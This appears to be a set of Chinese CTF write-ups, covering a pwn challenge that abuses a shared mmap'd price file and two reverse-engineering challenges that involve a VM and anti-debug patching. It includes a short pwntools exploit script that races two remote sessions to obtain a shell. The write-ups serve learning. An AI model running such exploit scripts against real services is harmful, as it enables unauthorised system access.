

# CTF 学习过程中的题目 WP

作者: shijy16

时间: March 22, 2021

### 特别声明

本册是 CTF 解题记录,题目来自于各种地方。 供初学 CTF 的同学们参考交流。

> 2021年3月21日 shijy16

## 目录

1	pwn		
	1.1	乙组基准-babypwn	2
2	逆向工程		
	2.1	乙组基准-simple_vm	3
	2.2	乙组基准-anti_patience	3

### 第一章 pwn

#### 1.1 乙组基准-babypwn

NeSE 乙组的基准题,高级网络攻防课说做出来这些题才可以选这门课。这一系列题目因为不是公开平台上的,所以就不放出来了。

这道题进去首先要输入一个 name, 有三个选项:

- 1 提高 price: 最多提高十次, 到 100。
- 2显示 price: 始终是 0。
- 3 获得 flag: price 到 100 也换不到,提示 price 太低。

用 ida 逆一下,发现 price 到达 200 就可以拿到 shell,且 price 是 char\*,被 mmap 到了'/tmp/input\_name.acc':

```
1 rice = mmap(OLL, 8uLL, 3, 1, fd, OLL);  // PROT_WRITE |
     PROT_READ
2  // MAP_SHARED
```

各个参数的含义可以用magic查看。发现是共享映射的,那么直接开两个进程,输入一样的名字,分别提高 10 次 price 就可以拿到 flag 了。

```
from pwn import *
context.log_level = "debug"

io_0 = remote("TARGET_ADDR", PORT)

io_0.sendafter("name.\n", b"a")

io_1 = remote("TARGET_ADDR", PORT)

io_1.sendafter("name.\n", b"a")

for i in range(11):

    io_0.sendlineafter("getflag\n", "1")

    io_1.sendlineafter("getflag\n", "1")

io_1.sendlineafter("getflag\n", "1")

io_0.close()

io_1.interactive()
```

#### 第二章 逆向工程

#### 2.1 乙组基准-simple\_vm

一个简单的 vm,用 switch 语句做的,进去 F5 就能看到,推导出有哪些指令和格式就好了。题目也给了一段指令,要求输入三个数字,然后运行这段指令,对这三个数进行运算后,栈中某个位置结果是 0,输入的三个数字就是 flag。

最主要的点在于看栈、寄存器和其他参数的内存位置,然后把题目给的指令解析出 来,列出算式解方程。

#### 2.2 乙组基准-anti\_patience

这个题目直接用 ida 逆向会有一些地方解析失败,需要手动 patch,把对应位置 patch 为 nop,这里用 LazyIDA 插件,填充为 nop 后就可以生成伪代码了。

题目还用 ptrace 判断当前进程有没有被 gdb 调试,那个位置也需要 patch,否则调试的时候随机数种子和正常运行的时候不一样。最后发现整个程序需要输入一段字符串,这段字符串进行很长一段逐字符运算后,得到一个 res,然后题目中也有一个准备好的字符串,这个字符串逐字节和随机数进行运算,得到一个 target\_res。最后对这两个结果进行比较,相等则输出 flag,这个 flag 也是由随机数生成的。

#### 解题步骤:

- patch 解析失败的地方。
- patch 反调试的地方,使调试时随机种子不变。
- gdb 调试,在检查结果的时候下断点,获取 target\_res。
- 把输入字符串的运算过程 copy 出来,改成一个暴力求解过程。就可以获得 flag 了。